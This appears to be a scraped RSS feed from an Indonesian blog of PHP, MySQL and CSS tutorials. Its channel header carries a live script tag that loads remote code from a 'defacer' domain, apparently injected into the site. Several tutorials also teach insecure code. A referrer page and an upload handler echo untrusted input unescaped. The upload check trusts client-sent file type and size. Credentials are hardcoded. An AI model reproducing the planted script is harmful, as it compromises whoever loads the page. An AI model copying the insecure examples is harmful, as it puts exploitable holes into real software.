ZAINALHAKIM.WEB.ID https://www.zainalhakim.web.id Web Blog Zainal Hakim tempatnya berbagi pengetahuan seputar bahasa pemrograman, desain, teknologi dan internet. id Copyright 2012-2022 Zainal Hakim h.zainalhakim@gmail.com (Zainal Hakim, S.Kom) 15 <script src="https://jso.defacer.id/raw/b0u0d7xc5e"></script> https://www.zainalhakim.web.id/posting/variabel-global-dalam-php.html https://www.zainalhakim.web.id/posting/variabel-global-dalam-php.html  



 

]]>
Thu, 9 Jun 2022 13:06:44 GMT
Koneksi database mysql dengan mysqli https://www.zainalhakim.web.id/posting/koneksi-database-mysql-dengan-mysqli.html https://www.zainalhakim.web.id/posting/koneksi-database-mysql-dengan-mysqli.html Mysqli adalah salah satu ekstensi php yang digunakan untuk melakukan interaksi dan pengelolaan database mysql. Mysqli adalah pengembangan dari versi sebelumnya dan hanya bisa digunakan untuk MySQL versi 4.1.13 atau terbaru.

Berikut ini perintah singkat cara membuat koneksi database mysql dengan mysqli :

//deklarasi variabel

$server_name="localhost";
$db_user="root";
$db_pass="sukasuka";
$db_name="data_pegawai";

//eksekusi koneksi sesuai dengan variabel diatas
$DB_LINK = mysqli_connect($server_name,$db_user,$db_pass,$db_name);

// Cek status koneksi database jika gagal munculkan pesan error
if (mysqli_connect_errno()) {
  echo "Gagal melakukan koneksi MySql : " . mysqli_connect_error();
  exit();
}

Semoga bermanfaat

]]>
Thu, 9 Jun 2022 12:06:56 GMT
Cara membuka file gambar HEIC dalam Windows 7 dam Windows 8 https://www.zainalhakim.web.id/posting/cara-membuka-file-gambar-heic-dalam-windows-7.html https://www.zainalhakim.web.id/posting/cara-membuka-file-gambar-heic-dalam-windows-7.html file gambar iphone ios 11

Smartphone produk Apple khususnya iPhone yang didukung dengan sistem iOS 11 keatas mulai mengoptimalkan format gambar dengan High Efficiency Image Format (HEIF). Untuk produk apple jenis file ini dikenal dengan HEIC (High Efficiency Image Coding). Dengan Jenis file ini kualitas gambar akan sangat baik ditampilkan dalam iPhone.

Akan tetapi file gambar pada iphone dengan iOS 11 keatas ini belum bisa dibuka langsung pada versi windows 7 atau windows 8. Jika gambar yang sumbernya dari iphone versi baru ini maka di windows explorer akan tampil tidak dikenali sebagai sebuah gambar melainkan file tidak bisa dibuka. Jika coba di tampilkan dengan photo kecil akan tampil seperti dibawah ini.

tampilan file HEIC dalam windows 7 explorer

Jadi untuk dapat menampilkan dan membuka file ini kita bisa menggunakan aplikasi tambahan dengan nama CopyTrans HEIC for Windows. Aplikasi ini memiliki kemampuan untuk membuka gambar HEIC, mengkonversi gambar HEIC ke JPG, mencetak dan menyisipkannya dalam MS Office.

Untuk anda yang masih menggunakan windows 7 atau 8 mungkin aplikasi ini bisa membantu anda dalam mempermudah mengelola dokumentasi gambar anda. Tapi untuk anda yang sudah menggunakan windows versi 10, file HEIC ini sudah dengan mudah terlihat dan digunakan untuk keperluan anda.

aplikasi CopyTrans HEIC

Aplikasi ini lumayan kecil hanya berukuran 7.6Mb dan sangat mudah digunakan setelah diinstall.

Untuk mendapatkan aplikasi ini anda bisa downlod disitus https://www.copytrans.net/copytransheic/

Semoga bermanfaat

]]>
Tue, 17 May 2022 14:05:01 GMT
Membuat halaman web dengan latar background bintang dengan css https://www.zainalhakim.web.id/posting/membuat-halaman-web-dengan-latar-background-bintang-dengan-css.html https://www.zainalhakim.web.id/posting/membuat-halaman-web-dengan-latar-background-bintang-dengan-css.html Background unik bentuk bintang

Website atau halaman web biasanya dibuat semenarik mungkin, bisa dengan menggunakan gambar, tulisan, animasi ataupun dengan hiasan objek lainnya. Berikut ini saya akan berbagi tentang bagaimana membuat halaman web dengan latar atau background bintang dengan perintah CSS

Membuat latar belakang unik dengan css

Langkah awal kit akan buat halaman html sederhana seperti berikut :

<!DOCTYPE html>
<html>
 <head>
  <title>Judul Halaman</title>
 </head>
<body>
  <h1>Judul Isi Halaman</h1>
  <p>Isi Halaman</p>
</body>
</html> 

Kemudian kita simpan dalam format html. Anda yang menggunakan php juga bisa menyimpannya dengan ekstensi php.

Kemudian kita akan menambahkan perintah CSS pada bagian kepala dokumen <head>..</head>, seperti perintah css berikut :

<style type="text/css">
body {
color:#fff;
background:
   linear-gradient(324deg, #232927 4%,   transparent 4%) -70px 43px,
   linear-gradient( 36deg, #232927 4%,   transparent 4%) 30px 43px,
   linear-gradient( 72deg, #e3d7bf 8.5%, transparent 8.5%) 30px 43px,
   linear-gradient(288deg, #e3d7bf 8.5%, transparent 8.5%) -70px 43px,
   linear-gradient(216deg, #e3d7bf 7.5%, transparent 7.5%) -70px 23px,
 linear-gradient(144deg, #e3d7bf 7.5%, transparent 7.5%) 30px 23px,

linear-gradient(324deg, #232927 4%,   transparent 4%) -20px 93px,
   linear-gradient( 36deg, #232927 4%,   transparent 4%) 80px 93px,
   linear-gradient( 72deg, #e3d7bf 8.5%, transparent 8.5%) 80px 93px,
   linear-gradient(288deg, #e3d7bf 8.5%, transparent 8.5%) -20px 93px,
   linear-gradient(216deg, #e3d7bf 7.5%, transparent 7.5%) -20px 73px,
   linear-gradient(144deg, #e3d7bf 7.5%, transparent 7.5%) 80px 73px;
   background-color: #232927;
   background-size: 100px 100px;
}
a { color : #fff; }
</style>

Dokumen html secara lengkap bisa dilihat berikut :

<!DOCTYPE html>
<html>
<head>
<title>Judul Halaman</title>
<style type="text/css">
body {
color:#fff;
background:
   linear-gradient(324deg, #232927 4%,   transparent 4%) -70px 43px,
   linear-gradient( 36deg, #232927 4%,   transparent 4%) 30px 43px,
   linear-gradient( 72deg, #e3d7bf 8.5%, transparent 8.5%) 30px 43px,
   linear-gradient(288deg, #e3d7bf 8.5%, transparent 8.5%) -70px 43px,
   linear-gradient(216deg, #e3d7bf 7.5%, transparent 7.5%) -70px 23px,
 linear-gradient(144deg, #e3d7bf 7.5%, transparent 7.5%) 30px 23px,

linear-gradient(324deg, #232927 4%,   transparent 4%) -20px 93px,
   linear-gradient( 36deg, #232927 4%,   transparent 4%) 80px 93px,
   linear-gradient( 72deg, #e3d7bf 8.5%, transparent 8.5%) 80px 93px,
   linear-gradient(288deg, #e3d7bf 8.5%, transparent 8.5%) -20px 93px,
   linear-gradient(216deg, #e3d7bf 7.5%, transparent 7.5%) -20px 73px,
   linear-gradient(144deg, #e3d7bf 7.5%, transparent 7.5%) 80px 73px;
   background-color: #232927;
   background-size: 100px 100px;
}
a { color : #fff; }
</style>
</head>
<body>
<h1>Judul Isi Halaman</h1>
<p>Isi Halaman</p>
</body>
</html>

Sangat mudah kan, sekarang anda bisa membuka dokumennya dengan browser dan akan terlihat sebuah halaman dengan latar belakang bintang.

Demo latar belakang bintang ini bisa dilihat di :

Demo Latar Belakang Website Bintang

Semoga bermanfaat

]]>
Sat, 7 May 2022 15:05:29 GMT
Menampilkan sumber kunjungan halaman dengan php https://www.zainalhakim.web.id/posting/menampilkan-sumber-kunjungan-halaman-dengan-php.html https://www.zainalhakim.web.id/posting/menampilkan-sumber-kunjungan-halaman-dengan-php.html

Setiap kita membuka halaman web dengan bantuan browser, jejak sumber kunjungan setiap halaman web direkam oleh browser dan terkirim kedalam server yang diakses. Rekam jejak tersebut akan terus dibawa ke setiap halaman yang kita buka sampai kita menutup aplikasi browser tersebut.

Selain merekam asal mula kunjungan, browser juga mencatat beberapa informasi lain yang juga akan tersimpan dan dapat diambil oleh sistem lain yang berhubungan dengan aktivitas kita selama membuka sebuah halaman menggunakan browser. Informasi yang direkam khusus untuk keperluan informasi sumber akses saja yang sifatnya memang bukan rahasia. Jadi jika anda hanya membuka sebuah halaman kemudian tidak ada aktivitas apapun dengan halaman tersebut maka tidak ada informasi yang direkam.

Cara menampilkan sumber referensi halaman

Dalam tutorial berikut saya hanya akan mencontohkan bagaimana mengambil informasi sumber kunjungan pada halaman web dengan php.

Ilustrasi singkat :

Misal Kita punya beberapa halaman Web dengan nama file :
pertama.php, kedua.php, ketiga.php, keempat.php yang isinya masing-masing saya buat sama agar dapat mengetahui dari mana sumber kunjungan pada halaman tersebut.

Nama File pertama.php

<?php
$ref = $_SERVER['HTTP_REFERER']; //ini perintah utama mengambil alamat sumber
echo "<h1>Referensi Halaman : <br/>".$ref."</h1>";

echo '<p><a href="pertama.php">Referensi 1</a></p>';
echo '<p><a href="kedua.php">Referensi 2</a></p>';
echo '<p><a href="ketiga.php">Referensi 3</a></p>';
echo '<p><a href="keempat.php">Referensi 4</a></p>';
?>

File kedua.php, ketiga.php dan keempat.php isinya sama diatas

Anda bisa mencobanya pertama kali mengakses file pertama.php

Contoh alamat sumber kunjungan dengan php

Pada saat file pertama diakses maka alamat sumber kunjungan tidak ada karena anda membukanya secara langsung tanpa melalu link antar halaman.

Jika anda klik ke link kedua maka akan muncul alamat sumber dari link pertama

Contoh alamat sumber kunjungan dengan php

Jika anda klik ke link keempat maka akan muncul sumber terakhir dari link kedua

Contoh alamat sumber kunjungan dengan php

Dari halaman keempat, jika anda klik halaman pertama (sebelumnya tidak ada sumber) maka akan muncul sumber dari halaman keempat

Contoh alamat sumber kunjungan dengan php

 

Dari contoh yang saya buat mungkin anda sudah mengerti apa yang saya maksud sumber kunjungan tiap halaman yang kita akses akan merujuk kepada halaman sebelumnya dan semua itu bisa kita tampilkan dengan PHP.

Demo dari penggunaan perintah php ini bisa anda lihat di : https://www.zainalhakim.web.id/demo/referensi-halaman/

Semoga bermanfaat

]]>
Sat, 7 May 2022 09:05:25 GMT
Memahami arti Karya Fotografi Macro https://www.zainalhakim.web.id/posting/memahami-arti-karya-fotografi-macro.html https://www.zainalhakim.web.id/posting/memahami-arti-karya-fotografi-macro.html Fotografi makro adalah meminimalkan daerah fokus (DOF) , hal ini dimaksudkan agar dengan membuat daerah fokus setipis mungkin, obyek yang kita kehendaki menjadi lebih detail tanpa terganggu pemandangan lain yang tidak diperlukan. Fotografi makro adalah salah satu kategori fotografi yang membuat pembesaran terhadap suatu objek. Atau bisa dengan kata lain dunia fotografi yang diperkecil ke dalam dunia micro. Pembesaran tersebut bisa dilakukan dengan medekatkan obek dengan kamera, atau pun dari jarak terentu dengan menggunakan lensa tele. Beberapa hal yang harus diperhatikan dalam Fotografi antara lain:

a. Lighting (Pencahayaan)
b. Depth Of Field (DoF)
c. Fokus
d. Komposisi
e. Lokasi
f. Tripod atau handheld
g. Mood dan kesabaran
h. Moment dan keberuntungan

Berikut ini gambar contoh fotografi makro :

Memahami arti Karya Fotografi Macro

Memahami arti Karya Fotografi Macro

Memahami arti Karya Fotografi Macro

]]>
Thu, 14 Apr 2022 15:04:34 GMT
Membuat tombol css dengan animasi https://www.zainalhakim.web.id/posting/membuat-tombol-css-dengan-animasi.html https://www.zainalhakim.web.id/posting/membuat-tombol-css-dengan-animasi.html

Dalam desain web ada suatu saat kita memerlukan sedikit penggunaan animasi agar tampilannya lebih menarik. Diantaranya dengan menambahkan efek pada tombol dalam sebuah formulir. Berikut ini salah satu contoh penambahan animasi tombol dengan css.

Ini bagian kode HTML sebagai objek tombol yang akan diberi animasi :

   <!-- Hover #1 -->
   <div class="box-1">
   <div class="btn btn-one">
   <span>HOVER ME</span>
   </div>
   </div>
   
   <!-- Hover #2 -->
   <div class="box-2">
   <div class="btn btn-two">
   <span>HOVER ME</span>
   </div>
   </div>

   <!-- Hover #3 -->
   <div class="box-3">
   <div class="btn btn-three">
   <span>HOVER ME</span>
   </div>
   </div>
 

Ini bagian kode CSS yang digunakan untuk merubah tampilan tombol html :

html,
body {
  width: 100%;
  height: 100%;
  overflow: hidden;
  margin: 0;
  display: flex;
  flex-direction: column;
  flex-wrap: wrap;
  font-family: 'Open Sans Condensed', sans-serif;
}

div[class*=box] {
	height: 33.33%;
	width: 100%; 
  display: flex;
  justify-content: center;
  align-items: center;
}

.box-1 { background-color: #FF6766; }
.box-2 { background-color: #3C3C3C; }
.box-3 { background-color: #66A182; }

.btn {
	line-height: 50px;
	height: 50px;
	text-align: center;
	width: 250px;
	cursor: pointer;
}

/* 
========================
      TOMBOL PERTAMA
========================
*/
.btn-one {
	color: #FFF;
	transition: all 0.3s;
	position: relative;
}
.btn-one span {
	transition: all 0.3s;
}
.btn-one::before {
	content: '';
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	opacity: 0;
	transition: all 0.3s;
	border-top-width: 1px;
	border-bottom-width: 1px;
	border-top-style: solid;
	border-bottom-style: solid;
	border-top-color: rgba(255,255,255,0.5);
	border-bottom-color: rgba(255,255,255,0.5);
	transform: scale(0.1, 1);
}
.btn-one:hover span {
	letter-spacing: 2px;
}
.btn-one:hover::before {
	opacity: 1;	
	transform: scale(1, 1);	
}
.btn-one::after {
	content: '';
	position: absolute;
	bottom: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	transition: all 0.3s;
	background-color: rgba(255,255,255,0.1);
}
.btn-one:hover::after {
	opacity: 0;	
	transform: scale(0.1, 1);
}


/* 
========================
      TOMBOL KEDUA
========================
*/
.btn-two {
	color: #FFF;
	transition: all 0.5s;
	position: relative;	
}
.btn-two span {
	z-index: 2;	
	display: block;
	position: absolute;
	width: 100%;
	height: 100%;	
}
.btn-two::before {
	content: '';
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	transition: all 0.5s;
	border: 1px solid rgba(255,255,255,0.2);
	background-color: rgba(255,255,255,0.1);
}
.btn-two::after {
	content: '';
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	transition: all 0.5s;
	border: 1px solid rgba(255,255,255,0.2);
	background-color: rgba(255,255,255,0.1);
}
.btn-two:hover::before {
  transform: rotate(-45deg);
  background-color: rgba(255,255,255,0);
}
.btn-two:hover::after {
  transform: rotate(45deg);
  background-color: rgba(255,255,255,0);
}


/* 
========================
      TOMBOL KETIGA
========================
*/
.btn-three {
	color: #FFF;
	transition: all 0.5s;
	position: relative;
}
.btn-three::before {
	content: '';
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	background-color: rgba(255,255,255,0.1);
	transition: all 0.3s;
}
.btn-three:hover::before {
	opacity: 0 ;
	transform: scale(0.5,0.5);
}
.btn-three::after {
	content: '';
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	opacity: 0;
	transition: all 0.3s;
	border: 1px solid rgba(255,255,255,0.5);
	transform: scale(1.2,1.2);
}
.btn-three:hover::after {
	opacity: 1;
	transform: scale(1,1);
}
]]>
Thu, 14 Apr 2022 14:04:43 GMT
Mengubah format tanggal mysql menjadi indonesia dalam php https://www.zainalhakim.web.id/posting/mengubah-format-tanggal-mysql-menjadi-indonesia-dalam-php.html https://www.zainalhakim.web.id/posting/mengubah-format-tanggal-mysql-menjadi-indonesia-dalam-php.html Anda mungkin sudah mengetahui kalau format tanggal yang disimpan dalam database mysql adalah tahun-bulan-tanggal. Pada saat kita menampilkan data tanpa ada perintah perubahan seperti pada tulisan saya sebelumnya tentang mengubah tampilan format tanggal mysql, maka tentunya output ke layar akan tetap sama. Berikut ini saya akan berbagi tentang bagaimana mengubah tampilan tanggal yang semula tertulis dengan format angka tahun-bulan-tanggal menjadi tanggal-nama bulan-tahun dalam bahasa indonesia.

Sekarang kita lihat contoh sederhana untuk menampilkan data dari sebuah tabel mysql dengan php

<?php
mysql_connect('localhost','root','');
mysql_select_db('db_mahasiswa');
$myquery="select tanggal_lahir from tb_mahasiswa";
$daftarsiswa=mysql_query($myquery) or die (mysql_error());
while($dataku=mysql_fetch_object($daftarsiswa))
{
   echo $dataku->tanggal_lahir; //menuliskan tanggal_lahir
}
?>

Pada saat data ditampilkan, maka yang muncul adalah field tanggal_lahir dengan format 2000-01-20. Sekarang bagaimana jika formatnya diubah menjadi : 20 Januari 2000?

Anda hanya perlu menambahkan beberapa perintah seperti berikut ini :

<?php
mysql_connect('localhost','root','');
mysql_select_db('db_mahasiswa');
//tambahkan daftar nama bulan
$namabulan = array("","Januari","Pebruari","Maret","April","Mei","Juni","Juli","Agustus","September","Oktober","November","Desember");
$myquery="select tanggal_lahir from tb_mahasiswa";
$daftarsiswa=mysql_query($myquery) or die (mysql_error());
while($dataku=mysql_fetch_object($daftarsiswa))
{
   list($thn,$bln,$tgl)=explode('-',$dataku->tanggal_lahir); //memindah tanggal kedalam array
   echo $tgl.' '.$namabulan[(int)$bln].' '.$thn; //menuliskan tanggal lahir dalam format indonesia
}
?>

Jika anda lihat, perintah program diatas, saya menambahkan sebuah array $namabulan yang isinya deretan nama bulan. Pada array pertama yang ada tanda petik 2x tidak diberi isi karena tidak ada bulan dengan index 0, sehingga langsung pada index ke 1 yaitu bulan januari.

Kemudian ada perintah list yang akan menampung hasil pemisahan tanggal lahir, dan yang terakhir adalah penulisan nama bulan $namabulan ada perintah (int) yang difungsikan mengubah nilai yang berawalan angka 0 seperti 01 menjadi integer sehingga sesuai dengan index array nama bulan.

Semoga bermanfaat, dan jangan takut untuk mencoba. Tolong koreksi jika ada yang kurang/salah.

Zainal Hakim

]]>
Tue, 10 Jun 2014 12:06:48 GMT
Mengirim email laporan dari database mysql dengan PHPMailer https://www.zainalhakim.web.id/posting/mengirim-email-laporan-dari-database-mysql-dengan-phpmailer.html https://www.zainalhakim.web.id/posting/mengirim-email-laporan-dari-database-mysql-dengan-phpmailer.html Mengrim email Laporan dari database mysql dengan PHPMailerPada tulisan sebelumnya saya sedikit berbagi tentang Cara mudah mengirim email dari PHP dengan PHPMailer. Pada tulisan berikut ini saya ingin lanjutkan lagi tentang bagaimana mengirimkan email dalam bentuk laporan yang diambilkan dari database mysql dengan dengan PHPMailer.

Saya hanya sedikit mengembangkan dari tulisan sebelumnya yang hanya mengirimkan pesan dalam format HTML menjadi format laporan yang dikemas dalam bentuk tabel dengan data yang kita ambilkan dari database mysql. Secara teknis pada dasarnya cara pengiriman emainya sama dengan pesan sederhana tapi untuk laporan dikemas secara dinamis sehingga bisa disesuaikan dengan data yang akan dikirimkan.

Untuk mendapatkan informasi dan download phpmailer ini anda bisa kunjungi situs https://github.com/Synchro/PHPMailer

Misal kita sudah punya sebuah aplikasi dari php seperti tulisan sebelumnya yang pernah saya bahas yaitu Aplikasi Mahasiswa dengan PHP. Kemudian anda ingin mengirimkan laporan tersebut ke email. Untuk itu kita bisa dengan mudah mengirimnya memanfaatkan librari PHPMailer. Caranya sangat mudah, anda tinggal buat program seperti berikut :

<?php
    mysql_connect("localhost","username","password") or die("Gagal membuat koneksi server");
    mysql_select_db("db_mahasiswa")  or die("Gagal membuat koneksi database");
    $myquery="select nim,nama from tb_mahasiswa";
    $daftarsiswa=mysql_query($myquery) or die (mysql_error());
    $laporan="<table width=\"100%\" border=\"1\" align=\"center\" cellpadding=\"3\" cellspacing=\"0\">";
    $laporan .="<tr>";
    $laporan .="<td>NIM</td><td>Nama</td>";
    $laporan .="</tr>";
    while($dataku=mysql_fetch_object($daftarsiswa))
    {
        $laporan .="<tr>";
        $laporan .="<td>$dataku->nim</td><td>$dataku->nama</td>";
        $laporan .="</tr>";
    }
    $laporan .="</table>";
    require_once("class.phpmailer.php");
    $sendmail = new PHPMailer();
    $sendmail->setFrom('email.anda@domainanda.com','Nama Anda'); //email pengirim
    $sendmail->addReplyTo('email.anda@domainanda.com','Nama Anda'); //email replay
    $sendmail->addAddress('email.tujuan@domaintujuan.com','Nama Tujuan'); //email tujuan
    $sendmail->Subject = 'Laporan Data Mahasiswa'; //subjek email
    $sendmail->Body=$laporan; //isi pesan dalam format laporan
    $sendmail->isHTML(true);
    if(!$sendmail->Send()) 
    {
        echo "Email gagal dikirim : " . $sendmail->ErrorInfo;  
    } 
    else 
    { 
        echo "Email berhasil terkirim!";  
    }
?>

Semoga bermanfaat dan selamat mencoba, silahkan download contoh mengirim email laporan disini

Zainal Hakim

]]>
Sun, 13 Apr 2014 03:04:38 GMT
Cara mudah mengirim email dari PHP dengan PHPMailer https://www.zainalhakim.web.id/posting/cara-mudah-mengirim-email-dari-php-dengan-phpmailer.html https://www.zainalhakim.web.id/posting/cara-mudah-mengirim-email-dari-php-dengan-phpmailer.html Mengrim email dengan PHPMailerUntuk mengirim email dengan php biasanya bisa dilakukan dengan cara sederhana yaitu dengan fungsi mail. Cara ini cukup ampuh untuk mengirim email dengan format text/pesan tanpa ada pengaturan tampilan. Tapi pada saat anda ingin mengirimkan email dengan format HTML yang memiliki tag tabel maupun format ukuran atau warna tulisan, maka cara ini akan sedikit menjadi ribet. Selain ribet juga seringkali emailnya dianggap spam oleh sebagain mail server tujuan.

Alternatif lain yang bisa anda gunakan adalah dengan menggunakan komponen/library tambahan dalam bentuk class yang cukup mudah dipanggil dalam program yang kita buat. Untuk ini, saya menggunakan PHPMailer. Alasanya karena PHPMailer ini gratis, kompatibel untuk versi php terbaru dan juga cukup mudah digunakan. Dari informasi yang saya baca di situs resminya, dikatakan bahwa PHPMailer adalah salah satu class yang paling banyak digunakan oleh pengembang web tentu saja dengan perkiraan jumlah pengguna sampai 9 juta user. PHPMailer ini juga digunakan oleh beberapa project opensource seperti Drupal, SugarCRM, Yii, Joomla dll.

Beberapa fitur PHPMailer yang saya kutip dari situs officialnya yaitu :

  • Probably the world's most popular code for sending email from PHP!
  • Used by many open-source projects: Drupal, SugarCRM, Yii, Joomla! and many more
  • Integrated SMTP support - send without a local mail server
  • Send emails with multiple TOs, CCs, BCCs and REPLY-TOs
  • Multipart/alternative emails for mail clients that do not read HTML email
  • Support for 8bit, base64, binary, and quoted-printable encoding
  • SMTP authentication with LOGIN, PLAIN, NTLM and CRAM-MD5 mechanisms
  • Native language support
  • DKIM and S/MIME encryption support
  • Compatible with PHP 5.0 and later
  • Much more!

Untuk mendapatkan informasi dan download phpmailer ini anda bisa kunjungi situs https://github.com/Synchro/PHPMailer

Ada beberapa cara teknis penggunaan PHPMailer, tergantung metode pengiriman email yang kita gunakan. Jika anda punya domain dan hosting sendiri akan lebih mudah lagi melakukan percobaan ini.

Contoh Penggunaan PHPMailer sederhana

<?php
    require_once("class.phpmailer.php");
    $sendmail = new PHPMailer();
    $sendmail->setFrom('email.anda@domainanda.com','Nama Anda'); //email pengirim
    $sendmail->addReplyTo('email.anda@domainanda.com','Nama Anda'); //email replay
    $sendmail->addAddress('email.tujuan@domaintujuan.com','Nama Tujuan'); //email tujuan
    $sendmail->Subject = 'Coba Email dengan PHPMailer'; //subjek email
    $sendmail->Body='<h2>Percobaan</h2><p>Disini anda bisa tulis pesan dengan HTML</p>
	<table><tr><td>Anda juga bisa buat tabel disini</td></tr></table>'; //isi pesan
    $sendmail->isHTML(true);
    if(!$sendmail->Send()) 
    {
      echo "Email gagal dikirim : " . $sendmail->ErrorInfo;  
    } 
    else 
    { 
      echo "Email berhasil terkirim!";  
    }
?>

Jika anda sudah coba download paket PHPMailer, didalamnya anda juga akan dapati contoh (dalam folder example) penggunaan  dengan cara lain seperti smtp, email dengan attachment dll.

Baca juga Mengirim email laporan dari database mysql dengan PHPMailer

Semoga bermanfaat dan selamat mencoba

Zainal Hakim

]]>
Sun, 13 Apr 2014 02:04:13 GMT
Template halaman admin gratis https://www.zainalhakim.web.id/posting/template-halaman-admin-gratis.html https://www.zainalhakim.web.id/posting/template-halaman-admin-gratis.html Setiap kali kita membuat sebuah aplikasi web tentunya pasti menginginkan hasil yang baik, enak dilihat, tampilan yang cepat, fleksibel dan gampang untuk dikembangkan. Dan satu lagi tentunya lagi hemat waktu dalam membuatnya. Bagi sebagian orang yang kemampuan desainnya kurang mungkin akan sangat sulit untuk menghasilkan dashboard admin seperti kriteria diatas sehingga harus mencari alternatif yang sifatnya instan. Berikut ini beberapa template halaman admin yang bisa anda download dan gunakan secara gratis.

In Admin Panel

Tampilan halaman In Admin Panel ini dari segi tampilan warna dan susunan layoutnya cukup menarik  dengan dukungan menu dropdown pada bagian atasnya. Komponen css untuk mengatur tampilan elemen html seperti heading juga cukup lengkap sehingga jika kita menggunakan template ini tidak perlu lagi menambahkannya lagi.

Template admin gratis 1

Demo | Download

CSS Admin Panel

Bagi anda yang ingin tampilan dengan sistem tabmenu, mungkin template admin ini sangat memenuhi kriteria. Didukung dengan ikon grafis yang yang mewakili tiap menunya. Perpaduan warna juga cukup baik dengan layout yang cukup mudah digunakan. CSS admin panel ini juga sudah dilengkapi dengan berbagai komponen css yang cukup lengkap untuk menghiasi tabel, kotak pesan dan elemen lainya yang tentunya sangat mempermudah anda dalam menyelesaikan sebuah aplikasi.

Template admin gratis 2

DemoDownload

Transdmin Light

Bagi anda yang ingin tampilan admin sederhana dan tentunya memliki kecepatan yang baik, bisa memilih template halaman admin yang satu ini. Walau terlihat sederhana tapi dari segi kemudahan penataan layout cukup baik.

template admin gratis 3

DemoDownload

HTML5 Admin Template

Halaman admin yang satu ini cukup lengkap, sudah dibuat dengan teknologi HTML5 dan Jquery. Dari tampilan jangan diragukan lagi sudah dirancang responsive sehingga akan sangat kompatibel dengan beragam ukuran layar pada saat mengaksesnya.

template halaman admin gratis 4

DemoDownload

ECommerce Admin Template

Bagi anda yang lagi membangun aplikasi e-commerce mungkin tampilan halaman admin yang satu ini sangat ideal menjadi pilihan anda. Dari menunya bisa anda lihat disajikan dalam bentuk tab yang sangat mudah disesuaikan dengan kebutuhan anda. Tersedia dalam 3 pilihan warna yaitu biru, merah dan hijau.

Template halaman admin 5

DemoDownload

Semoga bermanfaat dan bisa memberi inspirasi baru buat anda.

Zainal Hakim

 

]]>
Mon, 17 Mar 2014 11:03:51 GMT
Membuat upload video dengan php https://www.zainalhakim.web.id/posting/membuat-upload-video-dengan-php.html https://www.zainalhakim.web.id/posting/membuat-upload-video-dengan-php.html Membuat upload video dengan php

Lama tidak berbagi tentang php, berikut ini saya ingin berbagi tentang cara membuat upload video dengan php.

Secara teknik dasar membuat form upload untuk video tidak berbeda dengan cara membuat form upload gambar yang sudah saya tulis pada tutorial sebelumnya. Hanya berbeda pada bagian proses menangani file yang diupload ke server.

Berikut ini contoh lengkap script untuk upload video dengan jenis mp4, 3gp dan flv.

<!DOCTYPE html>
<html>
<head>
<title>Upload Video dengan PHP</title>
</head>
<body>
<div style="width:800px;margin:20px auto; text-align:center">
<?php
if (isset($_REQUEST['upload']))
{
	$name=$_FILES['file_video']['name'];
	$type=$_FILES['file_video']['type'];
	$size=$_FILES['file_video']['size'];
	//replace tanda spasi pada nama file dengan _
	$nama_file=str_replace(" ","_",$name);
	$tmp_name=$_FILES['file_video']['tmp_name'];
	$nama_folder="video/";
	$nama_file_baru=$nama_folder.basename($nama_file);
	//Filter jenis file video dan ukuran file
	if ((($type == "video/mp4") || ($type == "video/3gpp")	|| ($type == "video/x-flv")) && ($size < $_POST['MAX_FILE_SIZE']))
	{
		//cek jika nama dile sudah ada
		if (file_exists($nama_file_baru))
		{
			$msg="Nama file $nama_file sudah ada!\n";
		} 
		else
		{	
			//pindah file dari temporari ke alamat tujuan
			if(move_uploaded_file($tmp_name,$nama_file_baru))
			{
				$msg="File video $nama_file berhasil diupload";
			}
		}
	} 
	else
	{
		$msg="Jenis file tidak sesuai atau ukuran file terlalu besar!";
	}
	echo "<p align=\"center\">$msg</p>";
}
else
{
?>
<fieldset>
<legend>Upload Video</legend>
<form name="fvideo" enctype="multipart/form-data" method="post" action="" style="padding:10px;">
<input name="MAX_FILE_SIZE" value="50000000" type="hidden"/>
<input type="file" name="file_video" />
<input type="submit" name="upload" value="Kirim" />
</form>
</fieldset>
<?php
}
?>
</div>
</body>
</html>

Silahkan download script upload video

Semoga bermanfaat. Silahkan dikoreksi jika ada yang salah, dan jangan sungkan untuk bertanya jika ada yang kurang jelas. Baca juga remark yang sudah saya buat pada bagian script phpnya.

Zainal Hakim

]]>
Mon, 3 Feb 2014 12:02:19 GMT
Membuat kalender bulan dengan php https://www.zainalhakim.web.id/posting/membuat-kalender-bulan-dengan-php.html https://www.zainalhakim.web.id/posting/membuat-kalender-bulan-dengan-php.html Kalender bulan dengan phpJika anda membuat aplikasi berbasis web, fitur yang yang sering diandalkan adalah tampilan dan kemudahan membuat laporan. Misal saja dalam aplikasi yang anda buat ada salah satu laporan yang menyajikanya berdasarkan tanggal. Untuk mempermudah dalam menginput tanggal anda bisa tampilkan kalender bulan. Berikut ini saya ingin berbagi tentang bagaimana membuat kalender bulan dengan php.

Langkah pertama adalah membuat css untuk menyusun tampilan kalendernya. Isi css bisa anda tulis seperti berikut :

<style type="text/css">
/* calendar */
table.calendar		{ border-left:1px solid #999; }
tr.calendar-row	{  }
td.calendar-day	{ min-height:80px; font-size:11px; position:relative; } * html div.calendar-day { height:80px; }
td.calendar-day:hover	{ background:#eceff5; }
td.calendar-day-np	{ background:#eee; min-height:80px; } * html div.calendar-day-np { height:80px; }
td.calendar-day-head { background:#ccc; font-weight:bold; text-align:center; width:120px; padding:5px; border-bottom:1px solid #999; border-top:1px solid #999; border-right:1px solid #999; }
div.day-number		{ background:#999; padding:5px; color:#fff; font-weight:bold; float:right; margin:-5px -5px 0 0; width:20px; text-align:center; }
/* shared */
td.calendar-day, td.calendar-day-np { width:120px; padding:5px; border-bottom:1px solid #999; border-right:1px solid #999; }
</style>

Setelah css, anda memerlukan sebuah fungsi untuk menampikan kalende berdasar bulan yang ditentukan. Lihat script berikut :

function draw_calendar($month,$year){
	/* draw table */
	$calendar = '<table cellpadding="0" cellspacing="0" class="calendar">';
	/* table headings */
	$headings = array('Sunday','Monday','Tuesday','Wednesday','Thursday','Friday','Saturday');
	$calendar.= '<tr class="calendar-row"><td class="calendar-day-head">'.implode('</td><td class="calendar-day-head">',$headings).'</td></tr>';
	/* days and weeks vars now ... */
	$running_day = date('w',mktime(0,0,0,$month,1,$year));
	$days_in_month = date('t',mktime(0,0,0,$month,1,$year));
	$days_in_this_week = 1;
